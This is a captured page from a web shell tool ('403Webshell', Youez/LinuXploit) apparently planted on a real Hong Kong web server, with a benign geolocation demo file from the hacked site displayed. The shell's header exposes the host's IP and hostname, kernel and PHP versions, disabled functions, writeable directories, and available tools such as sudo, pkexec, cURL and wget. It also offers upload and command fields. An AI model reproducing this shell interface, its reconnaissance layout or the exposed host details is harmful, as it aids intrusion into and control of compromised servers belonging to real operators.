403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/hkosl.com/kelvin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hkosl.com/kelvin/test.php
<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset=utf-8>
	<meta name="viewport" content="width=620">
	<title>HTML5 Demo: geolocation</title>

	<script src="//code.jquery.com/jquery-1.11.3.min.js"></script>
	<script src="//code.jquery.com/jquery-migrate-1.2.1.min.js"></script>

</head>
<body>
<section id="wrapper">

	<header>
		<h1>geolocation</h1>
	</header>
	<meta name="viewport" content="width=620"/>

	<script type="text/javascript" src="http://maps.google.com/maps/api/js?sensor=false"></script>
	<article>
		<p>Finding your location: <span id="status">checking...</span></p>
		<p><span id="distance"></span> meters away from target location</p>
	</article>
	<script>
		var target_lat = 22.31064;
		var target_long = 114.22656;
		var current_lat = "";
		var current_long = "";

		function check_distance(target_lat, target_long, current_lat, current_long) {

			var lat = [target_lat, current_lat];
			var lng = [target_long, current_long];
			var R = 6378137;
			var dLat = (lat[1] - lat[0]) * Math.PI / 180;
			var dLng = (lng[1] - lng[0]) * Math.PI / 180;
			var a = Math.sin(dLat / 2) * Math.sin(dLat / 2) +
					Math.cos(lat[0] * Math.PI / 180) * Math.cos(lat[1] * Math.PI / 180) *
					Math.sin(dLng / 2) * Math.sin(dLng / 2);
			var c = 2 * Math.atan2(Math.sqrt(a), Math.sqrt(1 - a));
			var d = R * c;

			//console.log(Math.round(d));
			//alert(Math.round(d));

			$("#distance").text(Math.round(d));
		}

		function success(position) {
			var s = document.querySelector('#status');

			if (s.className == 'success') {
				// not sure why we're hitting this twice in FF, I think it's to do with a cached result coming back
				return;
			}

			s.innerHTML = "found you!";
			s.className = 'success';

			var mapcanvas = document.createElement('div');
			mapcanvas.id = 'mapcanvas';
			mapcanvas.style.height = '400px';
			mapcanvas.style.width = '560px';

			document.querySelector('article').appendChild(mapcanvas);

			var current_lat = position.coords.latitude;
			var current_long = position.coords.longitude;

			var latlng = new google.maps.LatLng(position.coords.latitude, position.coords.longitude);
			var myOptions = {
				zoom: 18,
				center: latlng,
				mapTypeControl: false,
				navigationControlOptions: {style: google.maps.NavigationControlStyle.SMALL},
				mapTypeId: google.maps.MapTypeId.ROADMAP
			};
			var map = new google.maps.Map(document.getElementById("mapcanvas"), myOptions);

			var marker = new google.maps.Marker({
				position: latlng,
				map: map,
				title: "You are here! (at least within a " + position.coords.accuracy + " meter radius)"
			});

			var target_latlng = new google.maps.LatLng(22.31064, 114.22656);
			var cityCircle = new google.maps.Circle({
				strokeColor: '#FF0000',
				strokeOpacity: 0.8,
				strokeWeight: 2,
				fillColor: '#FF0000',
				fillOpacity: 0.35,
				map: map,
				center: target_latlng,
				radius: 100
			});


			check_distance(target_lat, target_long, current_lat, current_long);
		}

		function error(msg) {
			var s = document.querySelector('#status');
			s.innerHTML = typeof msg == 'string' ? msg : "failed";
			s.className = 'fail';

			// console.log(arguments);
		}

		if (navigator.geolocation) {
			navigator.geolocation.getCurrentPosition(success, error);
		} else {
			error('not supported');
		}

	</script>

</section>

<div id="map"></div>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit